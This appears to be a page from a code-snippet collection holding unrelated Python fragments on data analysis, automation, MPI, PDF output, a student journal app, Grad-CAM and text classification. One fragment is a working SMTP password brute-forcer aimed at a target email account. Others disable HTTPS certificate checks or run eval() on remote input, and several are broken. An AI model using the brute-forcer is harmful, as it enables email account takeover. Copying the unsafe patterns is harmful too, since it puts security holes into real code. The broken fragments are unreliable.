Snippets Collections
df['column'].unique()  # Unique Values
df['column'].nunique() # Number of unique values
df['column'].value_counts() # Both
try:
	6/0
except:
	print(sys.exc_info()[0])
pd.to_datetime(df_apto['AF_DT_EMISSAO_NF'].astype('str').str[:8],format='%Y%m%d',errors='coerce')
# Type string
pyautogui.typewrite("Hello, World!")

# Move cursor slowly
target_x = 500
target_y = 500
pyautogui.moveTo(target_x, target_y, duration=2)

# Click mouse
pyautogui.click()
pyautogui.click(button='right')
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.utils.data import DataLoader
from torchvision import datasets, transforms

import matplotlib.pyplot as plt
#! /usr/bin/env python
from mpi4py import MPI

rank = MPI.COMM_WORLD.Get_rank()

def log(msg, *args):
    if rank == 0:
        print msg % args

info = MPI.INFO_NULL
service = "pyeval"
log("looking-up service '%s'", service)
port = MPI.Lookup_name(service)
log("service located  at port '%s'", port)

root = 0
log('waiting for server connection...')
comm = MPI.COMM_WORLD.Connect(port, info, root)
log('server connected...')

while True:
    done = False
    if rank == root:
        try:
            message = raw_input('pyeval>>> ')
            if message == 'quit':
                message = None
                done = True
        except EOFError:
            message = None
            done = True
        comm.send(message, dest=0, tag=0)
    else:
        message = None
    done = MPI.COMM_WORLD.bcast(done, root)
    if done:
        break

log('disconnecting server...')
comm.Disconnect()
#! /usr/bin/env python

from mpi4py import MPI

rank = MPI.COMM_WORLD.Get_rank()

def log(msg, *args):
    if rank == 0:
        print msg % args

log('')

info = MPI.INFO_NULL

port = MPI.Open_port(info)
log("opened port: '%s'", port)

service = 'pyeval'
MPI.Publish_name(service, info, port)
log("published service: '%s'", service)

MPI.COMM_WORLD.Spawn("./client.py", maxprocs=1)

root = 0
log('waiting for client connection...')
comm = MPI.COMM_WORLD.Accept(port, info, root)
log('client connected...')

while True:
    done = False
    if rank == root:
        message = comm.recv(source=0, tag=0)
        if message is None:
            done = True
        else:
            try:
                print 'eval(%r) -> %r' % (message, eval(message))
            except StandardError:
                print "invalid expression: %s" % message
    done = MPI.COMM_WORLD.bcast(done, root)
    if done:
        break

log('disconnecting client...')
comm.Disconnect()

log('upublishing service...')
MPI.Unpublish_name(service, info, port)

log('closing port...')
MPI.Close_port(port)
A função cell no FPDF tem os seguintes parâmetros:

w: Largura da célula (float ou int).
h: Altura da célula (float ou int).
txt: Conteúdo do texto a ser adicionado (str).
border: Indica se deve ser exibida uma borda ao redor da célula. Os valores possíveis são 0 (sem borda) ou 1 (com borda). Por padrão, é 0 (int).
ln: Indica a posição vertical após a chamada da função. Os valores possíveis são:
0: à direita (mesma linha)
1: começo da próxima linha
2: abaixo
align: Alinhamento do texto dentro da célula. Os valores possíveis são:
'L' ou 'l': alinhamento à esquerda
'C' ou 'c': alinhamento centralizado
'R' ou 'r': alinhamento à direita
No exemplo pdf.cell(0, 10, 'Texto com a fonte Poppins', 0, 1, 'C'), os parâmetros são usados da seguinte forma:

0: A largura da célula é definida como 0, o que significa que a largura será calculada automaticamente para se ajustar ao conteúdo do texto.
10: A altura da célula é definida como 10 unidades.
'Texto com a fonte Poppins': O texto que será exibido dentro da célula.
0: Não será exibida uma borda ao redor da célula.
1: A chamada da função cell irá para a próxima linha após a execução.
'C': O texto será alinhado centralmente dentro da célula.
import os
import shutil

os.rename("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
os.replace("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
shutil.move("path/to/current/file.foo", "path/to/new/destination/for/file.foo")
import feedparser
import requests
import pathlib

# Set the path to the folder
folder_path = pathlib.Path("C:/Python311/OARscripts/Experiments/BlowingBubbles")

# Delete existing files in the folder
for file in folder_path.glob("*"):
    try:
        file.unlink()
    except Exception as e:
        print(f"Error deleting {file}: {e}")

# Download latest episode
url = "https://feeds.accessmedia.nz/V2/itunes/95444842-39c8-4d47-b4c6-4a0fd697e569"
feed = feedparser.parse(url)
latest_entry = feed.entries[0]
file_url = latest_entry.enclosures[0].url
destination_folder = folder_path
file_name = pathlib.Path(file_url).name
new_file_name = "new_file_name.mp3"

try:
    # Download the file
    response = requests.get(file_url)
    with open(destination_folder / file_name, "wb") as f:
        f.write(response.content)

    # Rename the file
    (destination_folder / file_name).rename(destination_folder / new_file_name)

    print(f"File downloaded to {destination_folder / new_file_name}")
except Exception as e:
    print(f"Error downloading or renaming file: {e}")
class Robot:
    def place_bottle(self, station) → None:
        ...
        pass

    def remove_bottle(self, station) → None:
        ...
        pass


class Station:
    def start_filling(self, station) → None:
        ...

    def time_to_fill(self, station) → int:
        ...

    def has_bottle(self, station) -> bool:
        ...

    def is_filling(self, station) -> bool:
        ...



def first_flow(stations, robot):
    for station in stations:
        if not station.has_bottle() and not station.is_filling():
            robot.place_bottle(station) # blocks for 1 second
            station.start_filling()
        elif station.has_bottle() and station.is_filling() and station.time_to_fill() == 0:
            station.stop_filling()
            robot.remove_bottle(station) # blocks for 2 seconds

def second_flow(stations, robot):
    # Objetivo no derramar
    ready_to_fill = []
    ready_to_remove = []
    while len(ready_to_fill) == len(stations):
        for station in stations:
            if not station.has_bottle():
                robot.place_bottle(station) # blocks for 1 second
                ready_to_fill.append(station)

    for station in ready_to_fill:
        station.start_filling()

    while len(ready_to_remove) == len(stations):
        for station in stations:
            if station.has_bottle() and station.is_filling() and station.time_to_fill() == 0:
                station.stop_filling()
                ready_to_remove.append(station)

    for station in ready_to_fill:
        station.remove_bottle()

   
# Estado global del proceso
# Staciones llenado botellas -> que necesito apagar -> prioridad
# Staciones vacias -> Que necesitan botellas para llenar -> si me alcanza el tiempo
# Staciones apagadas con botellas -> que necesitan ser sacadas -> solo si me alcanza el tiempo y no staciones vacias


def third_flow(stations, robot):
    # Tiempo variado de estaciones 
    # quiero retirar las botellas que ya esten listas si es que no tengo que detener otras botellas.
    filling_bottles_stations = []
    empty_stations = []
    turned_off_stations = []

    updated_filling_bottles = []
    for station in filling_bottles_stations:
        if station.time_to_fill() == 0:
            station.stop_filling()
            turned_off_stations.append(station)
        else:
            updated_filling_bottles.append(station)
    filling_bottles_stations = updated_filling_bottles





if __name__ == "__main__":
    stations = [Station() for _ in range(8)]
    robot = Robot()
    while True:
        basic_flow(stations, robot)



#Post prepare_data_for_forecast
input_selected_items_df = pd.read_excel('item_list_2023-05-02.xlsx')
target_df = target_df[target_df['ITEM_ID'].isin(input_selected_items_df['ITEM_ID'])]
#!/usr/bin/python
# Dyrk.org 2016-2017

import smtplib

# Outlook.com
smtp_s   = 'smtp-mail.outlook.com'

# Gmail
# smtp_s = 'smtp.gmail.com'

smtp_p = 587
sender = 'target_adress@hotmail.com'
dico   = 'pwdlist.txt'

with open(dico) as f:
    for password in f:
        password = password.replace('\n', '')
        try:
            m = smtplib.SMTP(smtp_s, smtp_p)
            m.ehlo()
            m.starttls()
            m.login(sender, password)
            print '[OK] => ' + sender + ' : ' + password
            m.close()
            exit()
        except smtplib.SMTPAuthenticationError, e:
            if e[0] == 534:  # Gmail
                print '[OK] => ' + sender + ' : ' + password
                print e
                exit()
            else:
                print 'try ' + password + ' .... err. ' + str(e[0]) \
                    + '   >>>  ' + e[1]

			
import pandas as pd

import warnings
warnings.filterwarnings('ignore')
pd.set_option('display.max_columns', None) 
pd.set_option('display.expand_frame_repr', False)
pd.set_option('max_colwidth', None)
pd.set_option('display.float_format', lambda x: '%.3f' % x)
import nltk
import ssl

try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    pass
else:
    ssl._create_default_https_context = _create_unverified_https_context

nltk.download()
def win_spec(x,buff_s):
    
    window = np.blackman(buff_s)
    mat = frame(x,buff_s,int(buff_s/2))
    
    # extra step because overwriting can throw errors sometimes
    temp_array = np.zeros(np.shape(mat))
    
    for i in range(0,np.shape(mat)[1]):
        temp_array[:,i] += mat[:,i]*window
        
    fft_col = 10*np.log(np.abs(np.fft.fft(temp_array,axis=0)))
    return fft_col, np.shape(mat)[1]
os.chdir('D:\\folder1\\folder2)
files = os.listdir()
for f in files:
    new_name = f.replace('old part', 'name part')
    os.rename(f, new_name)
raceback (most recent call last):
  File "./download_ecmwf_data.py", line 27, in <module>        
    f.write(data+' - '+e)
TypeError: can only concatenate str (not "NameError") to str   
root@aws:~/Lake_middle/meteo_scripts/main_scripts# nano download_ecmwf_data.py
lst_estoque = map( str, df_estoque.columns)
lst_estoque = list(map( lambda x: x.replace( 'QLID_', ''), lst_estoque))
"""
SECTION 1:
In this first section you will find values and lists of values that are esential for the core functionality of the program.
"""
#This changes the size of the canvas
set_size(420,540) 

#This list contains the hexadeciaml number of the colors for each cover theme
#Color 1 is Blue
#Color 2 is Brown
#Color 3 is Pink 
COVER_COLORS = { 1: "#004aad" , 2: "#785326", 3: "#ff66c4"}

#Dictoniary with the links to the pictures of the covers that were made by the two participants of this project on Canva.
#Cover 1 stores the 'sports' 
#Cover 2 stores the 'minimalist'
#Cover 3 stores the 'disco'
COVERS = {1:"https://codehs.com/uploads/09e8c629d421cb66645de71dde8b4798", 2:  "https://codehs.com/uploads/af0e91788463ead695681f2283840ebe", 3:"https://codehs.com/uploads/54705063a2a26241f5acafb945d75164"}

#Dictionary with the links to the pictures of the emojis
#Credited at the end of the code.
#Emoji 1 is Sad
#Emoji 2 is Serious
#Emoji 3 is Happy
FEELINGS = ["https://codehs.com/uploads/704376e1c39be26d465a9d0404d542b3","https://codehs.com/uploads/54d2f29719875ed8fd92f9f9bba4b9bc", "https://codehs.com/uploads/cb753db8cc445e6c57797d883aaadcd0"]

#Dictionary with the links to the quote 
#Quote 1 is the sport theme quote
#Quote 2 is the minimalist theme quote
#Quote 3 is the disco theme quote
QUOTES = {1: "https://codehs.com/uploads/9ed1eb5685b925a27ad6913fe4b04e66", 2: "https://codehs.com/uploads/64454ad9f06c2424cc6223c1c5d4a3aa", 3: "https://codehs.com/uploads/48f6c924027970db60c9a044736ffb36"}

#This lists will be useful to simplify the code and make it more readable 
user_cover = ""

user_name = input("What's your name?")

"""
SECTION 2:
This part of the code will be useful to create the first page of the Bullet Journal, in other words, the cover of the notebook. 
During this section, the user will be selecting a number of theme that he or she wants. The theme and colors will be applied to the whole notebook. 
"""
#The following functions and loops will be useful to CREATE the personalized cover (theme and name) 

#Signature for the cover which is useful to identify whose Journal this is
#The signature will appear at the bottom of the cover
def cover_name(cover_selection):
    cover_signature = Text("By " + user_name)
    cover_signature.set_color(COVER_COLORS[cover_selection])
    cover_signature.set_font("15pt Comic Sans")
    cover_signature.set_position(210 - cover_signature.get_width()/2, 540 - cover_signature.get_height()*2 )
    add(cover_signature)

#Displays the information button on the cover
#The button doesn't work yet, this only adds the button to the cover.
def info_button_1():
    circle = Circle(15)
    circle.set_position(390, 30)
    circle.set_color(Color.blue)
    add(circle)
    i = Text("i")
    i.set_position(386, 40)
    i.set_color(Color.white)
    i.set_font("20pt Times New Roman")
    add(i)
    
#This functions makes the info_button works when the user clicks on it.
#The information is meant to show overall instructions so the user can start to use the journal.
def info_click(x,y):
    if (x > 375) and (x < 405):
        if (y > 15) and (y < 45):
            print ("""WELCOME TO YOUR OWN BULLET JOURNAL!! We hope you have a great time using this program
            
            CONTROL LIST:
                - Right Arrow: Move to next page
                - Left Arrow: Move to the previous page 
                - Left Click: Select and interact with your Bullet Journal
                """)
    elif (x > 370) and (x < 410):
        if (y > 505) and (y < 535):
            return
    
#Displays the button that will move the user to the next page
#This only adds the button to the cover, not the functionality
def next_page(): 
    circle_next = Circle(15)
    circle_next.set_position(395, 520)
    circle_next.set_color(COVER_COLORS[cover_selection])
    add(circle_next)
    line1 = Line(390, 520, 400, 520)
    line1.set_color(Color.white)
    add(line1)
    line2 = Line(395,515,400,520)
    line2.set_color(Color.white)
    add(line2)
    line3 = Line(395,525,400,520)
    line3.set_color(Color.white)
    add(line3)
    
#This makes the next_page button to work
#The button moves the user to page_1, where they will write about their day
def next_page_click(x,y):
    global current_page
    if (x > 370) and (x < 410):
        if (y > 505) and (y < 535):
            print_page()
    

#Prints the cover image of the user's preference (1,2, or 3) 
#The cover includes the user's name, the information button defined previously, and next page buttons.
def print_cover(cover_selection):
    cover = Image(COVERS[cover_selection])
    cover.set_size(420,540)
    cover.set_position(0,0)
    add(cover)
    cover_name(cover_selection)
    info_button_1()
    next_page()
    
#This loop avoids the user from entering a not valid value and having an error
while True:
    try:
        cover_selection = int(input("""Select the number of the theme for your cover 
        1: Sports 
        2: Minimalist 
        3: Disco"""))
        if (cover_selection > 0) and (cover_selection < 4):
            print_cover(cover_selection)
            user_cover = cover_selection
            break 
        else:
            continue 
    except ValueError:
        continue 
 
#The following functions and loops will be useful to CREATE the personalized page where the user will write about its day

#Displays the button that will move the user to the previous page, the cover
#This doens't work yet, it is just the button.
def previous_page():
    circle_previous = Circle(15)
    circle_previous.set_position(30, 520)
    circle_previous.set_color(COVER_COLORS[cover_selection])
    add(circle_previous)
    line1 = Line(25, 520, 35, 520)
    line1.set_color(Color.white)
    add(line1)
    line2 = Line(30,525,24,520)
    line2.set_color(Color.white)
    add(line2)
    line3 = Line(30,515,25,520)
    line3.set_color(Color.white)
    add(line3)
    
#Adds functionality to the previous_page button
#The button moves the user to the cover they personalized
def previous_page_click(x,y):
    if (x > 5) and (x < 45):
        if (y > 505) and (y < 535):
            print_cover(cover_selection)
    
#This adds the user's name to the bottom of the page
def page_signature():
    tag = Text(user_name + "'s Journal")
    tag.set_color("#ebd1a7")
    tag.set_font("15pt Comic Sans")
    tag.set_position(210 - tag.get_width()/2, 540 - tag.get_height()/2 )
    add(tag)

#Adds the title to the page of the journal
def title():
    title = Text("MY DAY")
    title.set_position(210 - title.get_width(), 56)
    title.set_color(COVER_COLORS[cover_selection])
    title.set_font("50pt Fantasy")
    add(title)
    

#These functions all come together to promt the use for their mood
#After, it will display an emoji according to their rating
def feeling():
    feeling_sqr = Rectangle(170,50)
    feeling_sqr.set_position(20, 92)
    feeling_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(feeling_sqr)
    feeling_txt = Text("Mood")
    feeling_txt.set_position(60, 134)
    feeling_txt.set_color(Color.white)
    feeling_txt.set_font("30pt Fantasy")
    add(feeling_txt)

def feeling_click(x,y):
    if (x > 20) and (x < 180):
        if (y > 92) and (y < 142):
            feeling_question()

def feeling_question():
    while True:
        try:
            feeling_number = int(input("""On a scale of 1-5, how are you feeling? 
            5 = Best
            1 = Worst"""))
            
            if feeling_number < 3 and feeling_number > 0:
                sad=Image(FEELINGS[0])
                sad.set_size(170, 170)
                sad.set_position(20,150)
                add(sad)
                break
            
            elif feeling_number == 3:
                normal=Image(FEELINGS[1])
                normal.set_size(170, 170)
                normal.set_position(20,150)
                add(normal)
                break
            
            elif feeling_number > 3 and feeling_number < 6:
                happy=Image(FEELINGS[2])
                happy.set_size(170, 170)
                happy.set_position(20,150)
                add(happy)
            
                break
            
            else: 
                continue
        except ValueError:
            continue

#These functions all come together to promt the use for the number of glasses of water they had and display it
def water():
    water_sqr = Rectangle(170,50)
    water_sqr.set_position(210, 92)
    water_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(water_sqr)
    water_txt = Text("Glasses of water")
    water_txt.set_position(215, 125)
    water_txt.set_color(Color.white)
    water_txt.set_font("18pt Fantasy")
    add(water_txt)

def water_click(x,y):
    if (x > 210) and (x < 380):
        if (y > 92) and (y < 142):
            water_question()

def water_question():
    while True:
        try:
            water_number = int(input("How many glasses of water did you drink?"))
            water_display_txt = Text(water_number)
            water_display_txt.set_position(280, 180)
            water_display_txt.set_color(Color.black)
            water_display_txt.set_font("40pt Impact")
            add(water_display_txt)
            break
        except ValueError:
            continue


#These functions all come together to promt the use for the number of meals they had and display it
def meals():
    meals_sqr = Rectangle(170,50)
    meals_sqr.set_position(210, 192)
    meals_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(meals_sqr)
    meals_txt = Text("Meals")
    meals_txt.set_position(247, 231)
    meals_txt.set_color(Color.white)
    meals_txt.set_font("30pt Fantasy")
    add(meals_txt)

def meals_click(x,y):
    if (x > 210) and (x < 380):
        if (y > 192) and (y < 242):
            meals_question()
            
def meals_question():
    while True:
        try:
            meals_number = int(input("How many meals did you have?"))
            meals_display_txt = Text(meals_number)
            meals_display_txt.set_position(280, 280)
            meals_display_txt.set_color(Color.black)
            meals_display_txt.set_font("40pt Impact")
            add(meals_display_txt)
            break
        except ValueError:
            continue

#These functions all come together to promt the use for the number of hours of sleep they had and display it
def sleep():
    sleep_sqr = Rectangle(170,50)
    sleep_sqr.set_position(210, 292)
    sleep_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(sleep_sqr)
    sleep_txt = Text("Hours of sleep")
    sleep_txt.set_position(218, 325)
    sleep_txt.set_color(Color.white)
    sleep_txt.set_font("20pt Fantasy")
    add(sleep_txt)

def sleep_click(x,y):
    if (x > 220) and (x < 380):
        if (y > 292) and (y < 342):
            sleep_question()

def sleep_question():
    while True:
        try:
            sleep_number = int(input("How many hours of sleep did you get?"))
            sleep_display_txt = Text(sleep_number)
            sleep_display_txt.set_position(280, 380)
            sleep_display_txt.set_color(Color.black)
            sleep_display_txt.set_font("40pt Impact")
            add(sleep_display_txt)
            break
        except ValueError:
            continue
    


#These functions all come together to promt the use for the number of glasses of water they had and display it
def assignment():
    assignment_sqr = Rectangle(170,50)
    assignment_sqr.set_position(210, 392)
    assignment_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(assignment_sqr)
    assignment_txt = Text("Assignments done")
    assignment_txt.set_position(215, 425)
    assignment_txt.set_color(Color.white)
    assignment_txt.set_font("16pt Fantasy")
    add(assignment_txt)


def assignment_click(x,y):
    if (x > 210) and (x < 380):
        if (y > 392) and (y < 442):
            assignment_question()
            
def assignment_question():
    while True:
        try:
            assignment_number = int(input("How many assignments did you complete?"))
            assignment_display_txt = Text(assignment_number)
            assignment_display_txt.set_position(280, 480)
            assignment_display_txt.set_color(Color.black)
            assignment_display_txt.set_font("40pt Impact")
            add(assignment_display_txt)
            break 
        except ValueError:
            continue

#This function display a motivational quote for the user
def quote():
    quote = Image(QUOTES[cover_selection])
    quote.set_size(190,190)
    quote.set_position(10,322)
    add(quote)
    
#This function collects all titles on the second page that promt the user for data
def title_squares():
    feeling()
    add_mouse_click_handler(feeling_click)
    water()
    add_mouse_click_handler(water_click)
    meals()
    add_mouse_click_handler(meals_click)
    sleep()
    add_mouse_click_handler(sleep_click)
    assignment()
    add_mouse_click_handler(assignment_click)

#Displays the page which will have the information the user edits according to their day
def print_page():
    PAGE_BACKGROUND = Image("https://codehs.com/uploads/de707bc143c3e9f941fd380d4048cf36")
    PAGE_BACKGROUND.set_size(420, 540)
    PAGE_BACKGROUND.set_position(0,0)
    add(PAGE_BACKGROUND)
    page_signature()
    title()
    previous_page()
    title_squares()
    quote()
    
"""
Section 3:
Calling the mouse events for the info, previous and next page buttons. 
"""
add_mouse_click_handler(info_click)
add_mouse_click_handler(previous_page_click)
add_mouse_click_handler(next_page_click)



"""
CITATIONS:

Emojis:
Happy:
"Happy Free Icons Designed By Freepik". Flaticon, 2023, https://www.flaticon.com/free-icon/happy_1621782. Accessed 27 Apr 2023.
Serious:
"Meh Free Icons Designed By Freepik". Flaticon, 2023, https://www.flaticon.com/free-icon/meh_8538357. Accessed 27 Apr 2023."
Sad:
"Unhappy Free Icons Designed By Freepik". Flaticon, 2023, https://www.flaticon.com/free-icon/unhappy_8538354. Accessed 27 Apr 2023.
"""
import torch
from torch.autograd import Variable
from torch.autograd import Function
from torchvision import models
from torchvision import utils
import cv2
import sys
import numpy as np
import argparse

class FeatureExtractor():
    """ Class for extracting activations and 
    registering gradients from targetted intermediate layers """
    def __init__(self, model, target_layers):
        self.model = model
        self.target_layers = target_layers
        self.gradients = []

    def save_gradient(self, grad):
        self.gradients.append(grad)

    def __call__(self, x):
        outputs = []
        self.gradients = []
        for name, module in self.model._modules.items():
            x = module(x)
            if name in self.target_layers:
                x.register_hook(self.save_gradient)
                outputs += [x]
        return outputs, x

class ModelOutputs():
    """ Class for making a forward pass, and getting:
    1. The network output.
    2. Activations from intermeddiate targetted layers.
    3. Gradients from intermeddiate targetted layers. """
    def __init__(self, model, target_layers):
        self.model = model
        self.feature_extractor = FeatureExtractor(self.model.features, target_layers)

    def get_gradients(self):
        return self.feature_extractor.gradients

    def __call__(self, x):
        target_activations, output  = self.feature_extractor(x)
        output = output.view(output.size(0), -1)
        output = self.model.classifier(output)
        return target_activations, output

def preprocess_image(img):
    means=[0.485, 0.456, 0.406]
    stds=[0.229, 0.224, 0.225]

    preprocessed_img = img.copy()[: , :, ::-1]
    for i in range(3):
        preprocessed_img[:, :, i] = preprocessed_img[:, :, i] - means[i]
        preprocessed_img[:, :, i] = preprocessed_img[:, :, i] / stds[i]
    preprocessed_img = \
        np.ascontiguousarray(np.transpose(preprocessed_img, (2, 0, 1)))
    preprocessed_img = torch.from_numpy(preprocessed_img)
    preprocessed_img.unsqueeze_(0)
    input = Variable(preprocessed_img, requires_grad = True)
    return input

def show_cam_on_image(img, mask):
    heatmap = cv2.applyColorMap(np.uint8(255*mask), cv2.COLORMAP_JET)
    heatmap = np.float32(heatmap) / 255
    cam = heatmap + np.float32(img)
    cam = cam / np.max(cam)
    cv2.imwrite("cam.jpg", np.uint8(255 * cam))

class GradCam:
    def __init__(self, model, target_layer_names, use_cuda):
        self.model = model
        self.model.eval()
        self.cuda = use_cuda
        if self.cuda:
            self.model = model.cuda()

        self.extractor = ModelOutputs(self.model, target_layer_names)

    def forward(self, input):
        return self.model(input) 

    def __call__(self, input, index = None):
        if self.cuda:
            features, output = self.extractor(input.cuda())
        else:
            features, output = self.extractor(input)

        if index == None:
            index = np.argmax(output.cpu().data.numpy())

        one_hot = np.zeros((1, output.size()[-1]), dtype = np.float32)
        one_hot[0][index] = 1
        one_hot = Variable(torch.from_numpy(one_hot), requires_grad = True)
        if self.cuda:
            one_hot = torch.sum(one_hot.cuda() * output)
        else:
            one_hot = torch.sum(one_hot * output)

        self.model.features.zero_grad()
        self.model.classifier.zero_grad()
        one_hot.backward(retain_graph=True)

        grads_val = self.extractor.get_gradients()[-1].cpu().data.numpy()

        target = features[-1]
        target = target.cpu().data.numpy()[0, :]

        weights = np.mean(grads_val, axis = (2, 3))[0, :]
        cam = np.zeros(target.shape[1 : ], dtype = np.float32)

        for i, w in enumerate(weights):
            cam += w * target[i, :, :]

        cam = np.maximum(cam, 0)
        cam = cv2.resize(cam, (224, 224))
        cam = cam - np.min(cam)
        cam = cam / np.max(cam)
        return cam

class GuidedBackpropReLU(Function):

    def forward(self, input):
        positive_mask = (input > 0).type_as(input)
        output = torch.addcmul(torch.zeros(input.size()).type_as(input), input, positive_mask)
        self.save_for_backward(input, output)
        return output

    def backward(self, grad_output):
        input, output = self.saved_tensors
        grad_input = None

        positive_mask_1 = (input > 0).type_as(grad_output)
        positive_mask_2 = (grad_output > 0).type_as(grad_output)
        grad_input = torch.addcmul(torch.zeros(input.size()).type_as(input), torch.addcmul(torch.zeros(input.size()).type_as(input), grad_output, positive_mask_1), positive_mask_2)

        return grad_input

class GuidedBackpropReLUModel:
    def __init__(self, model, use_cuda):
        self.model = model
        self.model.eval()
        self.cuda = use_cuda
        if self.cuda:
            self.model = model.cuda()

        # replace ReLU with GuidedBackpropReLU
        for idx, module in self.model.features._modules.items():
            if module.__class__.__name__ == 'ReLU':
                self.model.features._modules[idx] = GuidedBackpropReLU()

    def forward(self, input):
        return self.model(input)

    def __call__(self, input, index = None):
        if self.cuda:
            output = self.forward(input.cuda())
        else:
            output = self.forward(input)

        if index == None:
            index = np.argmax(output.cpu().data.numpy())

        one_hot = np.zeros((1, output.size()[-1]), dtype = np.float32)
        one_hot[0][index] = 1
        one_hot = Variable(torch.from_numpy(one_hot), requires_grad = True)
        if self.cuda:
            one_hot = torch.sum(one_hot.cuda() * output)
        else:
            one_hot = torch.sum(one_hot * output)

        # self.model.features.zero_grad()
        # self.model.classifier.zero_grad()
        one_hot.backward(retain_graph=True)

        output = input.grad.cpu().data.numpy()
        output = output[0,:,:,:]

        return output

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('--use-cuda', action='store_true', default=False,
                        help='Use NVIDIA GPU acceleration')
    parser.add_argument('--image-path', type=str, default='./examples/both.png',
                        help='Input image path')
    args = parser.parse_args()
    args.use_cuda = args.use_cuda and torch.cuda.is_available()
    if args.use_cuda:
        print("Using GPU for acceleration")
    else:
        print("Using CPU for computation")

    return args

if __name__ == '__main__':
    """ python grad_cam.py <path_to_image>
    1. Loads an image with opencv.
    2. Preprocesses it for VGG19 and converts to a pytorch variable.
    3. Makes a forward pass to find the category index with the highest score,
    and computes intermediate activations.
    Makes the visualization. """

    args = get_args()

    # Can work with any model, but it assumes that the model has a 
    # feature method, and a classifier method,
    # as in the VGG models in torchvision.
    grad_cam = GradCam(model = models.vgg19(pretrained=True), \
                    target_layer_names = ["35"], use_cuda=args.use_cuda)

    img = cv2.imread(args.image_path, 1)
    img = np.float32(cv2.resize(img, (224, 224))) / 255
    input = preprocess_image(img)

    # If None, returns the map for the highest scoring category.
    # Otherwise, targets the requested index.
    target_index = None

    mask = grad_cam(input, target_index)

    show_cam_on_image(img, mask)

    gb_model = GuidedBackpropReLUModel(model = models.vgg19(pretrained=True), use_cuda=args.use_cuda)
    gb = gb_model(input, index=target_index)
    utils.save_image(torch.from_numpy(gb), 'gb.jpg')

    cam_mask = np.zeros(gb.shape)
    for i in range(0, gb.shape[0]):
        cam_mask[i, :, :] = mask

    cam_gb = np.multiply(cam_mask, gb)
    utils.save_image(torch.from_numpy(cam_gb), 'cam_gb.jpg')
from selenium import webdriver

chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--user-agent="Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Lumia 640 XL LTE) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.10166"')
driver = webdriver.Chrome(chrome_options=chrome_options)
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
print(userAgent)
options.add_argument(f'user-agent={userAgent}')
driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe')
driver.get("https://www.google.co.in")
driver.quit()
print("Accuracy:", accuracy_score(y_test_lbl, y_pred_lbl))
print("Confusion Matrix:", confusion_matrix(y_test_lbl, y_pred_lbl))
print("Classification Report:", classification_report(y_test_lbl, y_pred_lbl))
 # Use the classifier to predict the labels
y_pred_lbl = mnb.predict(X_test_vec_lbl)
# Add the label dummy variabls to the vector X_test_vec_lbl
# create a DataFrame with the dummy variables
dummy_df = test_lbl[["cluster_1", "cluster_2", "cluster_3", "cluster_4", "cluster_5",
                     "cluster_6", "cluster_7", "cluster_8", "cluster_9", "cluster_10",
                     "cluster_11", "cluster_12"]]

# Reshaping the dummy_df to dummy_matrices
for i, col in enumerate(dummy_df.columns):
    # get the column values as a dense numpy array
    col_values = dummy_df[col].values.reshape(-1, 1)
    # stack the column values horizontally with the sparse matrix
    X_test_vec_lbl = hstack([X_test_vec_lbl, col_values], format='csr')

# Size of X_train_vec_lbl after adding 12 dummy variables
print(X_test_vec_lbl.shape)
# Vectorize your test data
X_test_vec_lbl = tfidf.transform(test_lbl["content"])
# Size of X_test_vec_lbl and y_test_lbl
print(X_test_vec_lbl.shape)
print(y_test_lbl.shape)
# Add the label dummy variabls to the vector X_train_vec_lbl
# create a DataFrame with the dummy variables
dummy_df = train_lbl[["cluster_1", "cluster_2", "cluster_3", "cluster_4", "cluster_5",
                      "cluster_6", "cluster_7", "cluster_8", "cluster_9", "cluster_10",
                      "cluster_11", "cluster_12"]]

# Reshaping the dummy_df to dummy_matrices
for i, col in enumerate(dummy_df.columns):
    # get the column values as a dense numpy array
    col_values = dummy_df[col].values.reshape(-1, 1)
    # stack the column values horizontally with the sparse matrix
    X_train_vec_lbl = hstack([X_train_vec_lbl, col_values], format='csr')

# Size of X_train_vec_lbl after adding 12 dummy variables
print(X_train_vec_lbl.shape)



# Multinomial Naive Bayes
mnb = MultinomialNB()

# Fit train dataset v3 to mnb
mnb.fit(X_train_vec_lbl, y_train_lbl)
# tfidf is the vector defined previously
#tfidf = TfidfVectorizer(ngram_range=(1,3), stop_words='english', lowercase=True)

# Transform train_lbl['content'] to vectorizer
X_train_vec_lbl = tfidf.fit_transform(train_lbl["content"])
# Size of X_train_vec_lbl and y_train_lbl
print(X_train_vec_lbl.shape)
print(y_train_lbl.shape)
# Split train and test from the new dataset with clustering labels from part #4
X = df_emotions_labeled.drop('sentiment', axis=1)
y = df_emotions['sentiment']

# Create oversampler (prevously defined)
# oversampler = RandomOverSampler()
# Fit and transform the data
X_resampled_labeled, y_resampled_labeled = oversampler.fit_resample(X, y)

# Split the dataset into training and testing sets with stratified sampling
X_train_lbl, X_test_lbl, y_train_lbl, y_test_lbl = train_test_split(X_resampled_labeled, y_resampled_labeled, test_size=0.2, stratify=y_resampled_labeled, random_state=42)

# Concatenate them
train_lbl = pd.concat([X_train_lbl, y_train_lbl], axis=1)
test_lbl = pd.concat([X_test_lbl, y_test_lbl], axis=1)
# Adding the labels from part #4 to df_emotions dataframe
df_emotions_labeled = df_emotions
df_emotions_labeled['clustering_label'] = labels

# Build dummy variables based on the clustering_label column
clustering_label_dummy = pd.get_dummies(df_emotions_labeled['clustering_label'], prefix='cluster', drop_first=True)
# combine the dummy variables with the original DataFrame
df_emotions_labeled = pd.concat([df_emotions_labeled, clustering_label_dummy], axis=1)
# Drop clustering_label column
df_emotions_labeled = df_emotions_labeled.drop('clustering_label', axis=1)

df_emotions_labeled
# Create an instance of AgglomerativeClustering
content = df_emotions['sentiment']
